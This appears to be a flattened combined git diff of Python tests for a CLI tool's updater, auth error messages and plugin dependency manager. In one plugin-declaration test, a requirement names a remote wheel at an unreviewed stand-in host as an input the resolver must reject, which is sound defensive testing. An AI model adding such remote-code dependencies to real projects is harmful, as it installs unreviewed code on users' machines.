subprocess.TimeoutExpired("probe", 120)- monkeypatch.setattr(update_cmd.subprocess, "run", timeout)- monkeypatch.setattr(update_cmd_deps, "bounded_probe_run", timeout)++ monkeypatch.setattr(update_cmd_validation.subprocess, "run", timeout)ok, module, error = update_cmd._validate_critical_modules_import(tmp_path)@@@ -230,13 -242,22 +231,16 @@@ def test_untracked_enumeration_failure_assert "Could not enumerate untracked files" in capsys.readouterr().out- def test_import_guard_is_non_fatal_when_probe_cannot_run(monkeypatch, tmp_path):- """If we can't spawn the probe, don't block the user's update."""-def test_import_guard_reports_bounded_probe_failure(monkeypatch, tmp_path):- """A wedged child reports promptly instead of blocking update teardown."""- monkeypatch.setattr(update_cmd_deps, "bounded_probe_run", lambda *_a, **_kw: None)- assert update_cmd._validate_critical_modules_import(tmp_path) == (- False, "critical-module probe", "timed out before reporting import health",- )- def boom(*_a, **_kw):- raise OSError("cannot spawn")- monkeypatch.setattr(update_cmd.subprocess, "run", boom)[email protected](sys.platform == "win32", reason="POSIX exec-bit PermissionError")[email protected]("posix")+ def test_import_guard_is_non_fatal_when_probe_cannot_run(tmp_path):+ """A venv interpreter that exists but cannot be executed must not read as a hung probe:+ spawn failure stays advisory (real ``bounded_probe_run``, real ``Popen``)."""+ venv_python = tmp_path / "venv" / "bin" / "python"+ venv_python.parent.mkdir(parents=True)+ venv_python.write_text("#!/bin/sh\nexit 0\n")+ venv_python.chmod(0o644) # present, not executable -> Popen raises PermissionErrorassert update_cmd._validate_critical_modules_import(tmp_path) == (True, None, None)@@@ -336,12 -393,12 +340,12 @@@ def test_probe_and_hint_share_one_firstcaptured["probe"] = cmd[-1]return _Result()- real_run = update_cmd.subprocess.run- update_cmd.subprocess.run = capture- real_run = update_cmd_deps.bounded_probe_run- update_cmd_deps.bounded_probe_run = capture++ real_run = update_cmd_validation.subprocess.run++ update_cmd_validation.subprocess.run = capturetry:update_cmd._validate_critical_modules_import("/tmp")finally:- update_cmd.subprocess.run = real_run- update_cmd_deps.bounded_probe_run = real_run++ update_cmd_validation.subprocess.run = real_runprobe_src = captured["probe"]# Every first-party root must appear in the probe's injected tuple.diff --cc tests/hermes_cli/test_update_no_gateway_restart.pyindex 00000000000,2b732ab67de..ebd503b6414mode 000000,100644..100644--- a/tests/hermes_cli/test_update_no_gateway_restart.py+++ b/tests/hermes_cli/test_update_no_gateway_restart.py@@@ -1,0 -1,69 +1,31 @@@-"""`hermes update --no-gateway-restart` (#93649).--A cron running inside the gateway's own cgroup cannot survive the fleet-restart phase (SIGUSR1 drain + systemd KillMode=mixed kills the updater-itself). The flag runs the full update pipeline but defers the restart;-the pending-restart marker is kept so a later normal update catches up.-"""-from types import SimpleNamespace-from unittest.mock import MagicMock, patch--from hermes_cli import update_cmd as uc-from hermes_cli import update_cmd_fleet as fleet---def _opts(**overrides):- base = dict(- assume_yes=True, gw_input_fn=None, active_lazy_features=[],- active_tool_dependencies=[], pre_update_version="1.0",- discard_local_changes=False, keep_stash=False, switch_branch=False,- no_gateway_restart=False,- )- base.update(overrides)- return SimpleNamespace(**base)---def test_pulled_update_defers_restart_and_keeps_marker_under_flag():- with (- patch.object(uc, "_invalidate_update_cache"),- patch.object(uc, "_verify_head_after_pull", return_value="newsha"),- patch.object(uc, "_write_fleet_restart_pending_marker") as mock_marker,- patch.object(uc, "_clear_fleet_restart_pending_marker") as mock_clear,- patch.object(uc, "_sweep_bytecode_after_update"),- patch.object(uc, "_sync_python_dependencies_after_pull"),- patch.object(uc, "_update_node_dependencies", return_value=[]),- patch.object(uc, "_rebuild_desktop_after_update", return_value=True),- patch.object(uc, "_run_post_update_maintenance", return_value=True),- patch.object(uc, "_branch_head_suffix", return_value=""),- patch.object(uc, "_m", return_value=MagicMock()),- patch.object(uc, "_restart_gateway_fleet_after_update") as mock_restart,- patch.object(uc, "_resume_windows_gateways_and_merge_outcome") as mock_resume,- patch.object(uc, "_verify_fleet_after_update") as mock_verify,- patch.object(uc, "_defer_fleet_restart_after_update") as mock_defer,- ):- uc._apply_pulled_update(- "git", "main", "oldsha", SimpleNamespace(in_place_update=False),- _opts(no_gateway_restart=True), gateway_mode=False,- is_fork=False, desktop_dir="/tmp", had_desktop_app_before_update=False,- pre_update_snapshot_id=None, _pre_update_plan=None,- _windows_gateway_resume=None, args=SimpleNamespace(no_gateway_restart=True, yes=True),- )- mock_restart.assert_not_called()- mock_verify.assert_not_called()- mock_defer.assert_called_once_with(update_complete=True, resume_incomplete=False)- mock_resume.assert_called_once() # Windows pause/resume still runs- mock_marker.assert_called_once() # pending marker kept for catch-up- mock_clear.assert_not_called() # deferred stale fleet alone is not partial---def test_already_current_catchup_is_deferred_under_flag():- """Already-up-to-date + pending marker + flag: no restart, no exit, marker kept."""- with (- patch.object(fleet, "_pending_fleet_restart_needed", return_value=True),- patch.object(fleet, "_warn_pending_fleet_restart"),- patch.object(uc, "_run_pending_fleet_restart") as mock_run,- patch.object(fleet, "_clear_fleet_restart_pending_marker") as mock_clear,- ):- fleet._apply_pending_fleet_restart_catchup(defer=True)- mock_run.assert_not_called()- mock_clear.assert_not_called()++"""The PM completion child honors --no-gateway-restart without skipping preparation (#93649)."""++import argparse++import json++import shutil++++from hermes_cli import update_completion++from hermes_cli.subcommands.update import build_update_parser++from tests.hermes_cli.test_update_completion_process import transition # noqa: F401++++++def test_restart_deferral_crosses_real_completion_process(transition):++ root, _git, _old, _new, request = transition++ parser = argparse.ArgumentParser()++ build_update_parser(parser.add_subparsers(), cmd_update=lambda args: None)++ request["no_gateway_restart"] = parser.parse_args(["update", "--no-gateway-restart"]).no_gateway_restart++ shutil.copy2(update_completion.__file__, root / "hermes_cli/update_completion.py")++ receipt = root / "hermes_cli/update_receipt.py"++ with receipt.open("a", encoding="utf-8") as stream:++ stream.write("\nfrom hermes_cli.probe import event\ndef record_skip(*args): event('deferred')\n")++ marker = root / "fleet_restart_pending"++ marker.write_text("pending", encoding="utf-8")++++ result = update_completion.run_completion(request)++++ assert result["exit_code"] == 0++ assert result["receipt"]["outcome"] == "success"++ assert result["windows_resume"]["resume_needed"] is False++ events = [json.loads(line)["name"] for line in (root / "events.jsonl").read_text().splitlines()]++ assert {"prepare", "build", "maintenance", "deferred", "emergency_resume"} <= set(events)++ assert "restart" not in events and "verify" not in events++ assert marker.read_text() == "pending"diff --cc tests/hermes_cli/test_update_receipt.pyindex 705ae49118f,17e00efdd5d..faac15e9215--- a/tests/hermes_cli/test_update_receipt.py+++ b/tests/hermes_cli/test_update_receipt.py@@@ -25,11 -25,13 +25,13 @@@ def receipt_home(tmp_path, monkeypatch)"""Isolated HERMES_HOME for receipt writes."""home = tmp_path / ".hermes"home.mkdir()+ # ``_receipt_dir`` resolves through ``hermes_constants.get_hermes_home`` (env var), not+ # ``hermes_cli.config`` — patch where production reads.monkeypatch.setenv("HERMES_HOME", str(home))# ensure no receipt bleeds between tests- ur._current = None+ ur._current.set(None)yield home- ur._current = None+ ur._current.set(None)def _finalize(outcome="success", fleet=None):@@@ -290,11 -270,17 +292,17 @@@ class TestFleetClassification"""Run collect_fleet_versions against one fake default profile."""home = tmp_path / "fleet_home"home.mkdir()+ gateway_record = {+ "gateway_state": "running",+ "kind": "hermes-gateway",+ "argv": ["hermes", "gateway", "run"],+ **record,+ }(home / "gateway_state.json").write_text(- json.dumps(record), encoding="utf-8"+ json.dumps(gateway_record), encoding="utf-8")monkeypatch.setattr(- "hermes_cli.build_info.get_code_identity",+ "hermes_cli.version_info.get_code_identity",lambda refresh=False: {"sha": expected_sha, "short_sha": expected_sha[:8],"version": "1.0", "source": "git"},)diff --cc tests/hermes_cli/test_update_venv_health.pyindex be600c70d78,71dbf4c6cf5..6bc80b19a0b--- a/tests/hermes_cli/test_update_venv_health.py+++ b/tests/hermes_cli/test_update_venv_health.py@@@ -81,8 -119,28 +81,28 @@@ def test_detect_venv_python_prefetches_unrelated.cwd.assert_not_called()+ @patch.object(cli_main, "_is_windows", return_value=True)+ def test_detect_venv_python_matches_uv_default_dotvenv(_winp, tmp_path):+ """#112958: the venv-prefix arm must see a uv-default ``.venv`` interpreter. A kernel-runner child has+ no ``hermes_cli.main`` in its cmdline, so only that arm can match it — the guard was blind to it."""+ venv_py = str(tmp_path / ".venv" / "Scripts" / "python.exe")+ holder = _proc(104, venv_py, "python.exe", [venv_py, str(tmp_path / "tools" / "hermes_kernel_runner.py")])+ me = MagicMock()+ me.parents.return_value = []+ fake_psutil = types.SimpleNamespace(+ process_iter=lambda attrs: iter([holder]),+ Process=lambda *a, **k: me,+ )+ (tmp_path / ".venv").mkdir()++ with patch.object(cli_main, "PROJECT_ROOT", tmp_path), patch.dict(sys.modules, {"psutil": fake_psutil}):+ matches = cli_main._detect_venv_python_processes()++ assert [match[0] for match in matches] == [104]++[email protected](cli_main, "_is_windows", return_value=True)-def test_detect_venv_python_keeps_external_interpreter_fallback(_winp, tmp_path):[email protected]("windows")+def test_detect_venv_python_keeps_external_interpreter_fallback(tmp_path):external = _proc(103,r"C:\Python311\python.exe",diff --cc tests/hermes_cli/test_ux_messages_auth_config.pyindex 00000000000,fea9795827f..2f3d9a15328mode 000000,100644..100644--- a/tests/hermes_cli/test_ux_messages_auth_config.py+++ b/tests/hermes_cli/test_ux_messages_auth_config.py@@@ -1,0 -1,330 +1,330 @@@+ """Message contracts for the config-parse and sign-in failure copy (CLI startup UX campaign).++ Every test asserts the contract (plain lead sentence + the exact command pointer, raw exception+ kept out of the lead) rather than the whole string.+ """++ from __future__ import annotations++ import logging+ from types import SimpleNamespace++ import httpx+ import pytest-import yaml++import hermes_yaml as yaml+++ def _yaml_error(text: str = "model:\n default: x\n bad: [unterminated\n") -> Exception:+ try:+ yaml.safe_load(text)+ except yaml.YAMLError as exc:+ return exc+ raise AssertionError("expected a YAML error")+++ # ── cli-03: config.yaml parse failure at startup ─────────────────────────────────────────────+++ class TestConfigParseWarning:+ @pytest.mark.parametrize("fallback", ["defaults", "last-known-good-backup", "refuse-write"])+ def test_warning_names_repair_commands_and_line(self, tmp_path, monkeypatch, capsys, fallback):+ from hermes_cli import config as config_mod++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ config_mod._CONFIG_PARSE_WARNED.clear()+ config_path = tmp_path / "config.yaml"+ config_path.write_text("model:\n default: x\n bad: [unterminated\n", encoding="utf-8")++ config_mod._warn_config_parse_failure(config_path, _yaml_error(), fallback=fallback)++ err = capsys.readouterr().err+ assert "formatting error" in err+ assert "line " in err+ assert "`hermes config edit`" in err and "`hermes config check`" in err+ assert "IGNORED" not in err and "LAST KNOWN GOOD" not in err+ # The raw PyYAML text is demoted to a Details line, never the lead sentence.+ lead = err.strip().splitlines()[0]+ assert "expected <block end>" not in lead.split("Details:")[0]+++ # ── cli-33: refuse-to-write and non-interactive startup guard ────────────────────────────────+++ class TestConfigGuardCopy:+ def test_require_parseable_user_config_says_what_happened_and_how_to_fix(self, tmp_path, monkeypatch):+ from hermes_cli import config as config_mod++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ (tmp_path / "config.yaml").write_text("model: [unterminated\n", encoding="utf-8")++ with pytest.raises(config_mod.InvalidUserConfigError) as excinfo:+ config_mod.require_parseable_user_config()++ msg = str(excinfo.value)+ assert msg.startswith("Hermes stopped because your settings file")+ assert "`hermes config edit`" in msg and "--ignore-user-config" in msg+ assert "non-interactive" not in msg and "built-in defaults" not in msg+ assert "Details:" in msg++ def test_refuse_write_names_repair_commands_and_absolute_backup_dir(self, tmp_path, monkeypatch):+ from hermes_cli import config as config_mod+ from hermes_constants import display_hermes_home++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ config_mod._CONFIG_PARSE_WARNED.clear()+ (tmp_path / "config.yaml").write_text("model: [unterminated\n", encoding="utf-8")++ with pytest.raises(RuntimeError) as excinfo:+ config_mod.require_readable_config_before_write()++ msg = str(excinfo.value)+ assert "this change was not saved" in msg+ assert "`hermes config edit`" in msg and "`hermes config check`" in msg+ assert f"{display_hermes_home()}/backups/config/" in msg+ assert not msg.startswith("Refusing")+++ # ── cli-04: no provider configured ───────────────────────────────────────────────────────────+++ def test_no_provider_configured_points_at_model_login_and_auth_add(monkeypatch, tmp_path):+ from hermes_cli.auth import AuthError, resolve_provider+ from hermes_constants import display_hermes_home++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))+ monkeypatch.setattr("agent.bedrock_adapter.has_aws_credentials", lambda env=None: False)++ with pytest.raises(AuthError) as excinfo:+ resolve_provider("auto")++ msg = str(excinfo.value)+ assert excinfo.value.code == "no_provider_configured"+ assert "`hermes model`" in msg and "`/login`" in msg and "`hermes auth add <provider>`" in msg+ assert "~/.hermes/.env" not in msg or display_hermes_home() == "~/.hermes"+ assert f"{display_hermes_home()}/.env" in msg+ assert "inference provider" not in msg+++ # ── cli-07: Nous device-code sign-in failures ────────────────────────────────────────────────+++ class TestSignInFailureCopy:+ @pytest.mark.parametrize("code, pointer", [+ ("expired_token", "`hermes portal`"),+ ("access_denied", "`hermes model`"),+ ])+ def test_poll_error_codes_map_to_plain_copy(self, code, pointer):+ from hermes_cli import auth_device_flow++ class _Client:+ def post(self, url, data=None):+ request = httpx.Request("POST", url)+ return httpx.Response(400, json={"error": code, "error_description": "server text"}, request=request)++ with pytest.raises(RuntimeError) as excinfo:+ auth_device_flow._poll_for_token(+ client=_Client(), portal_base_url="https://portal.nousresearch.com", client_id="hermes-cli",+ device_code="device", expires_in=5, poll_interval=1)++ msg = str(excinfo.value)+ assert not msg.startswith(code)+ assert "`hermes portal`" in msg and pointer in msg++ def test_network_failure_names_host_and_retry_command(self):+ from hermes_cli.auth_error_copy import sign_in_failure_lines++ lines = sign_in_failure_lines(httpx.ConnectError("[Errno -2] Name or service not known"),+ service_host="portal.nousresearch.com")++ assert lines[0].startswith("Could not sign in")+ assert "portal.nousresearch.com" in lines[0] and "`hermes portal`" in lines[0]+ assert "Errno" not in lines[0]+ assert any(line.strip().startswith("Details:") for line in lines[1:])++ def test_run_login_prints_plain_copy_not_raw_exception(self, capsys):+ from hermes_cli.model_setup_flows_common import _run_login++ def _boom(*_a, **_k):+ raise httpx.ConnectError("[Errno -2] Name or service not known")++ assert _run_login(_boom) is False+ out = capsys.readouterr().out+ assert "Could not sign in" in out+ assert not out.lstrip().startswith("Login failed:")++ def test_login_nous_prints_plain_copy(self, monkeypatch, capsys):+ from hermes_cli import auth_nous++ def _boom(**_k):+ raise httpx.ConnectError("[Errno -2] Name or service not known")++ monkeypatch.setattr(auth_nous, "_offer_shared_nous_import", lambda *_a, **_k: None, raising=False)+ monkeypatch.setattr("hermes_cli.auth._nous_device_code_login", _boom)+ args = SimpleNamespace(timeout=1.0, portal_url=None, inference_url=None, client_id=None, scope=None,+ no_browser=True, insecure=False, ca_bundle=None)+ from hermes_cli.auth import PROVIDER_REGISTRY++ with pytest.raises(SystemExit) as excinfo:+ auth_nous._login_nous(args, PROVIDER_REGISTRY["nous"])++ assert excinfo.value.code == 1+ out = capsys.readouterr().out+ assert "Could not sign in" in out and "`hermes portal`" in out+ assert "Login failed:" not in out+++ # ── cli-25: auth refresh / unknown provider ──────────────────────────────────────────────────+++ class TestAuthCommandsCopy:+ def test_unknown_provider_offers_did_you_mean_and_pointers(self, monkeypatch):+ from hermes_cli import auth_commands++ monkeypatch.setattr(auth_commands, "_configured_provider_entry", lambda _p: None)+ with pytest.raises(SystemExit) as excinfo:+ auth_commands.auth_add_command(SimpleNamespace(provider="openai"))++ msg = str(excinfo.value)+ assert "Unknown provider 'openai'" in msg+ assert "Did you mean" in msg and "openai-codex" in msg+ assert "`hermes auth`" in msg and "`hermes model`" in msg++ def test_refresh_failure_names_relogin_command(self, monkeypatch):+ from hermes_cli import auth_commands++ from agent.credential_pool import AUTH_TYPE_OAUTH++ matched = SimpleNamespace(id="abc", label="device-code", source="device_code", provider="nous",+ auth_type=AUTH_TYPE_OAUTH, refresh_token="rt", last_status="ok")++ class _Pool:+ def entries(self):+ return [matched]++ def try_refresh_matching(self, credential_id=None):+ matched.last_status = "refresh_failed"+ return None++ monkeypatch.setattr(auth_commands, "load_pool", lambda _provider: _Pool())+ with pytest.raises(SystemExit) as excinfo:+ auth_commands.auth_refresh_command(SimpleNamespace(provider="nous", target=None))++ msg = str(excinfo.value)+ assert "refresh_failed" not in msg and "status now" not in msg+ assert "`hermes auth add nous --type oauth`" in msg+++ # ── cli-24: /model onto a provider without credentials ───────────────────────────────────────+++ def test_creds_for_target_provider_names_auth_add_and_model(monkeypatch):+ from hermes_cli import model_switch++ st = model_switch._Switch(+ raw_input="kimi-coding:x", current_provider="openrouter", current_model="m", current_base_url="",+ current_api_key="", is_global=False, explicit_provider="", user_providers=None, custom_providers=None,+ target_provider="kimi-coding", provider_label="Kimi")++ def _fail(**_k):+ raise RuntimeError("KIMI_API_KEY missing (raw resolver text)")++ monkeypatch.setattr(st, "resolve_runtime", _fail, raising=False)+ result = model_switch._creds_for_switched_provider(st)++ assert result is not None and result.success is False+ msg = result.error_message+ assert msg.startswith("Kimi is not connected")+ assert "`hermes auth add kimi-coding`" in msg and "/model" in msg+ assert "Could not resolve credentials" not in msg+ assert "Details:" in msg+++ # ── cli-16: setup wizard provider step failure ───────────────────────────────────────────────+++ class TestProviderSetupFailureCopy:+ def test_setup_provider_step_reports_reason_and_that_nothing_changed(self, monkeypatch, capsys, tmp_path):+ from hermes_cli import setup as setup_mod++ monkeypatch.setenv("HERMES_HOME", str(tmp_path))++ def _boom(*_a, **_k):+ raise httpx.ConnectError("[Errno -2] Name or service not known")++ monkeypatch.setattr("hermes_cli.main.select_provider_and_model", _boom)+ monkeypatch.setattr(setup_mod, "print_header", lambda *_a, **_k: None)+ monkeypatch.setattr(setup_mod, "_info", lambda *_a, **_k: None)+ monkeypatch.setattr("hermes_cli.config.load_config", lambda: {})+ setup_mod.setup_model_provider({}, quick=True)++ out = capsys.readouterr().out+ assert "Could not finish connecting a provider" in out+ assert "internet" in out+ assert "not changed" in out or "Nothing was saved" in out+ assert "hermes model" in out+ assert "encountered an error" not in out and "Errno" not in out.split("Details:")[0]++ def test_quick_setup_error_hook_uses_same_copy(self, capsys):+ from hermes_cli.auth_error_copy import provider_setup_failure_lines++ lines = provider_setup_failure_lines(RuntimeError("keyring locked"), retry_command="hermes portal")+ assert lines[0].startswith("Could not finish connecting a provider")+ assert "hermes portal" in " ".join(lines)+ assert any(line.strip().startswith("Details:") for line in lines)+++ class TestRunLoginProviderAwareCopy:+ def test_minimax_failure_names_minimax_retry_not_portal(self, capsys):+ from hermes_cli.auth import PROVIDER_REGISTRY+ from hermes_cli.model_setup_flows_common import _run_login++ def _boom(*_a, **_k):+ raise httpx.ConnectError("[Errno -2] Name or service not known")++ assert _run_login(_boom, SimpleNamespace(), PROVIDER_REGISTRY["minimax-oauth"]) is False+ out = capsys.readouterr().out+ assert "hermes auth add minimax-oauth" in out+ assert "hermes portal" not in out and "portal.nousresearch.com" not in out+ assert "hermes login" not in out++ def test_nous_failure_keeps_portal_retry(self, capsys):+ from hermes_cli.auth import PROVIDER_REGISTRY+ from hermes_cli.model_setup_flows_common import _run_login++ def _boom(*_a, **_k):+ raise httpx.ConnectError("boom")++ assert _run_login(_boom, SimpleNamespace(), PROVIDER_REGISTRY["nous"]) is False+ out = capsys.readouterr().out+ assert "hermes portal" in out and "portal.nousresearch.com" in out++ def test_silent_nonzero_system_exit_still_tells_user_how_to_retry(self, capsys):+ from hermes_cli.auth import PROVIDER_REGISTRY+ from hermes_cli.model_setup_flows_common import _run_login++ def _quiet_exit(*_a, **_k):+ raise SystemExit(1)++ assert _run_login(_quiet_exit, SimpleNamespace(), PROVIDER_REGISTRY["openai-codex"]) is False+ out = capsys.readouterr().out+ assert "Sign-in did not complete" in out and "hermes auth add openai-codex" in out++ def test_system_exit_with_message_surfaces_the_message(self, capsys):+ from hermes_cli.model_setup_flows_common import _run_login++ def _exit_msg(*_a, **_k):+ raise SystemExit("token endpoint returned 400")++ assert _run_login(_exit_msg) is False+ out = capsys.readouterr().out+ assert "token endpoint returned 400" in out and "hermes model" in out++ def test_cancel_codes_stay_a_single_cancel_line(self, capsys):+ from hermes_cli.model_setup_flows_common import _run_login++ def _cancel(*_a, **_k):+ raise SystemExit(130)++ assert _run_login(_cancel) is False+ out = capsys.readouterr().out+ assert "cancelled" in out.lower() and "did not complete" not in outdiff --cc tests/pm/test_plugin_declarations.pyindex 00000000000,00000000000..43d5230819cnew file mode 100644--- /dev/null+++ b/tests/pm/test_plugin_declarations.py@@@ -1,0 -1,0 +1,100 @@@++"""Plugin declaration safeguards from #113851, through PM's real resolver."""++from __future__ import annotations++++import json++import os++from pathlib import Path++import shutil++import subprocess++import sys++import tomllib++++import pytest++++from pm.environment import PythonEnvironment++from pm.plugin_declarations import read_python_declaration, unsupported_requirements++from pm.workspace import enabled_member_dirs, lock_and_sync++from tests.pm import _fixtures++++[email protected]("modern", [False, True])++def test_declaration_policy_survives_cross_profile_resolution(tmp_path, monkeypatch, modern):++ home = tmp_path / "custom-home"++ sibling = home / "profiles" / "work"++ monkeypatch.setattr(Path, "home", lambda: tmp_path)++ monkeypatch.setenv("HERMES_HOME", str(sibling))++ monkeypatch.setenv("HERMES_RUNTIME_DIR", str(tmp_path / "runtime"))++ core = tmp_path / "core"++ core.mkdir()++ wheels = tmp_path / "wheels"++ wheels.mkdir()++ _fixtures._wheel(wheels, "fixturedep", "1.0")++ (core / "pyproject.toml").write_text(++ '[project]\nname="core"\nversion="1"\nrequires-python=">=3.11"\n'++ '[tool.uv]\npackage=false\nno-index=true\n'++ f'find-links=[{json.dumps(wheels.as_posix())}]\n', encoding="utf-8",++ )++ plugin = home / "plugins" / "member"++ external = sibling / "plugins" / "sidecar"++ plugin.mkdir(parents=True)++ external.mkdir(parents=True)++ (home / "config.yaml").write_text("plugins:\n enabled: [member]\n", encoding="utf-8")++ (sibling / "config.yaml").write_text("memory:\n provider: sidecar\n", encoding="utf-8")++ (external / "plugin.yaml").write_text(++ 'name: sidecar\npython_runtime: external\npython_dependencies: ["impossible==99"]\n',++ encoding="utf-8",++ )++ (external / "pyproject.toml").write_text(++ '[project]\nname="sidecar"\nversion="1"\ndependencies=["impossible==99"]\n',++ encoding="utf-8",++ )++ specs = ['fixturedep>=1,<2', 'hermes-agent>=0.1,<1',++ 'remote @ https://example.invalid/unreviewed.whl',++ 'missing-other-python; python_version < "3.0"']++ (plugin / "plugin.yaml").write_text(++ 'name: member\npython_dependencies: ' + json.dumps(["ignored==99"] if modern else specs) + '\n',++ encoding="utf-8",++ )++ if modern:++ (plugin / "pyproject.toml").write_text(++ '[project]\nname="member"\nversion="1"\nrequires-python=">=3.11"\n'++ f'dependencies={json.dumps(specs)}\n[tool.uv]\npackage=false\n', encoding="utf-8",++ )++ before = {p: p.read_bytes() for directory in (plugin, external) for p in directory.iterdir()}++ assert enabled_member_dirs() == [plugin]++ assert read_python_declaration(external).external++ declaration = read_python_declaration(plugin)++ assert declaration.requirements == tuple(specs)++ assert unsupported_requirements(declaration.requirements) == (specs[2],)++ uv = shutil.which("uv")++ assert uv is not None, "real resolver is required"++ environment = PythonEnvironment(++ uv=Path(uv), python=Path(sys.executable), destination=tmp_path / "env",++ cache=tmp_path / "cache", env=dict(os.environ), offline=True,++ )++ root = tmp_path / "snapshot"++ lock_and_sync(enabled_member_dirs(), [], root=root, source=core, seed_lock=None,++ environment=environment)++ probe = subprocess.run(++ [str(environment.executable), "-I", "-c", "import fixturedep; print(fixturedep.__version__)"],++ check=True, capture_output=True, text=True, timeout=30,++ )++ assert probe.stdout.strip() == "1.0"++ [relative] = tomllib.loads((root / "pyproject.toml").read_text())["tool"]["uv"]["workspace"]["members"]++ generated = tomllib.loads((root / relative / "pyproject.toml").read_text())["project"]["dependencies"]++ assert generated == [specs[0], specs[3]], "target markers must reach uv, unsafe/self requirements must not"++ assert all(p.read_bytes() == body for p, body in before.items())++++[email protected]("modern", [False, True])++def test_invalid_requirement_refused_at_declaration_boundary(tmp_path, modern):++ if modern:++ path = tmp_path / "pyproject.toml"++ path.write_text('[project]\ndependencies=["not a requirement >="]\n', encoding="utf-8")++ else:++ path = tmp_path / "plugin.yaml"++ path.write_text('python_dependencies: ["not a requirement >="]\n', encoding="utf-8")++ before = path.read_bytes()++ with pytest.raises(ValueError):++ read_python_declaration(tmp_path)++ assert path.read_bytes() == beforediff --cc tests/pm/test_worker_publication.pyindex dd2b6e4114f,00000000000..40a23f1ea0dmode 100644,000000..100644--- a/tests/pm/test_worker_publication.py+++ b/tests/pm/test_worker_publication.py@@@ -1,376 -1,0 +1,379 @@@+"""Plugin publication runs in PM's independent worker, not application callbacks."""+from __future__ import annotations++import json+import os+import shutil+import subprocess+import sys+from pathlib import Path++import pytest++from tests.pm.test_worker import client, isolated_python, _current_environment # noqa: F401+from tests.pm._fixtures import worker_toolchain+++def test_worker_publishes_selection_even_when_dependencies_are_current(client, tmp_path, monkeypatch):+ from hermes_cli.runtime_paths import install_state_dir+ from pm import receipt++ home = tmp_path / "home"+ home.mkdir()+ config = home / "config.yaml"+ config.write_text('# keep my comment\nmodel: "untouched"\nplugins:\n enabled: [old]\n')+ repo = _current_environment(tmp_path, monkeypatch, [])+ facts = (install_state_dir(repo) / "facts.json").read_bytes()+ with receipt.worker_context("selection-publication"):+ client.sync_venv(explicit=True, selection={+ "home": str(home), "enabled": ["plain"], "disabled": ["old"], "extra_dirs": [],+ })+ result = receipt.last_for_update("selection-publication", consume=True)+ from utils import fast_safe_load+ assert fast_safe_load(config.read_text())["plugins"] == {"enabled": ["plain"], "disabled": ["old"]}+ assert '# keep my comment' in config.read_text()+ assert 'model: "untouched"' in config.read_text()+ assert (install_state_dir(repo) / "facts.json").read_bytes() == facts+ assert not (install_state_dir(repo) / "publication.json").exists()+ assert result is not None+ assert result["outcome"] == "ok"+ assert result["venv_rebuild"]["ok"] is False+ assert json.loads((home / "logs/update_receipts/latest.json").read_text())["outcome"] == "ok"+++[email protected]("active", [False, True])[email protected]("missing", [False, True], ids=["existing", "missing"])+def test_staged_plugin_publication_uses_installed_identity_and_local_dependencies(+ client, tmp_path, monkeypatch, isolated_python, active, missing,+):+ from hermes_cli.runtime_paths import install_state_dir, selected_venv+ from pm.store import tree_digest+ from tests.pm.test_environment_build import _wheel+ from pm import paths++ worker_toolchain(client, monkeypatch, isolated_python)+ project = tmp_path / "project"+ project.mkdir()+ monkeypatch.setattr(paths, "repo_root", lambda: project)+ (project / "pyproject.toml").write_text(+ '[project]\nname="publication-core"\nversion="1"\nrequires-python=">=3.11"\n'+ '[tool.uv]\npackage=false\n')+ client.lock_project(project, offline=True, explicit=True)+ home = tmp_path / "home"+ target = home / "plugins" / "example"+ target.mkdir(parents=True)+ (home / "config.yaml").write_text('plugins:\n enabled: ' + ('[example]' if active else '[]') + '\n')+ (target / "plugin.yaml").write_text("name: example\n")+ (target / "code.py").write_text('old code')+ metadata = target.parent / ".install-metadata.json"+ metadata.write_text('{"example":{"revision":"old"}}\n')+ client.sync_venv(explicit=True)+ previous = selected_venv(project)+ if missing:+ shutil.rmtree(target)+ staged = tmp_path / "staged"+ staged.mkdir()+ wheel = _wheel(tmp_path, "publication_dep")- (staged / "plugin.yaml").write_text('name: example\npython_dependencies: [' + json.dumps(f"publication-dep @ {wheel.as_uri()}") + ']\n')++ (staged / "plugin.yaml").write_text('name: example\npython_dependencies: ["publication-dep==1.0"]\n')++ metadata_path = project / "pyproject.toml"++ with metadata_path.open("a", encoding="utf-8") as stream:++ stream.write(f'no-index=true\nfind-links=[{json.dumps(wheel.parent.as_posix())}]\n')+ (staged / "code.py").write_text('new code')+ client.sync_venv(explicit=True, staged_plugin={+ "staged": str(staged), "target": str(target), "target_digest": tree_digest(target) if target.exists() else None,+ "old_metadata": {"example": {"revision": "old"}},+ "new_metadata": {"example": {"revision": "new"}},+ })+ assert (target / "code.py").read_text() == "new code"+ assert not staged.exists()+ assert json.loads(metadata.read_text())["example"]["revision"] == "new"+ selected = selected_venv(project)+ assert (selected != previous) is active+ if active:+ python = selected / ("Scripts/python.exe" if os.name == "nt" else "bin/python")+ probe = subprocess.run([str(python), "-I", "-c", "import publication_dep; print(publication_dep.__version__)"],+ text=True, capture_output=True, timeout=30)+ assert probe.returncode == 0, probe.stderr+ assert probe.stdout.strip() == "1.0"+ facts = (install_state_dir(project) / "facts.json").read_bytes()+ client.sync_venv(explicit=True)+ assert (install_state_dir(project) / "facts.json").read_bytes() == facts+ assert not (install_state_dir(project) / "publication.json").exists()+ assert not list(target.parent.glob(".previous-*"))++[email protected]("mutation", ["sibling", "active"])+def test_selection_refuses_config_edits_during_preparation(client, tmp_path, monkeypatch, isolated_python, mutation):+ from hermes_cli.runtime_paths import install_state_dir+ home = tmp_path / "home"+ home.mkdir()+ config = home / "config.yaml"+ config.write_text("plugins:\n enabled: [old]\n")+ repo = _current_environment(tmp_path, monkeypatch, [])+ (repo / "uv.lock").write_text("version = 2\n")+ edited = config if mutation == "active" else home / "profiles/sibling/config.yaml"+ expected = "plugins:\n enabled: [concurrent]\n"+ facts = (install_state_dir(repo) / "facts.json").read_bytes()+ injection = (+ "from pm.packages import Venv\n"+ "def apply(self, *args, **kwargs):\n"+ f" p=Path({str(edited)!r}); p.parent.mkdir(parents=True, exist_ok=True); p.write_text({expected!r})\n"+ " return {}\n"+ "Venv.apply=apply\n"+ )+ worker_toolchain(client, monkeypatch, isolated_python, injection)+ with pytest.raises(ValueError, match="changed"):+ client.sync_venv(explicit=True, selection={"home": str(home), "enabled": ["new"], "disabled": []})+ assert edited.read_text() == expected+ assert (install_state_dir(repo) / "facts.json").read_bytes() == facts+ assert not (install_state_dir(repo) / "publication.json").exists()++[email protected]("invalid", ["name: [", 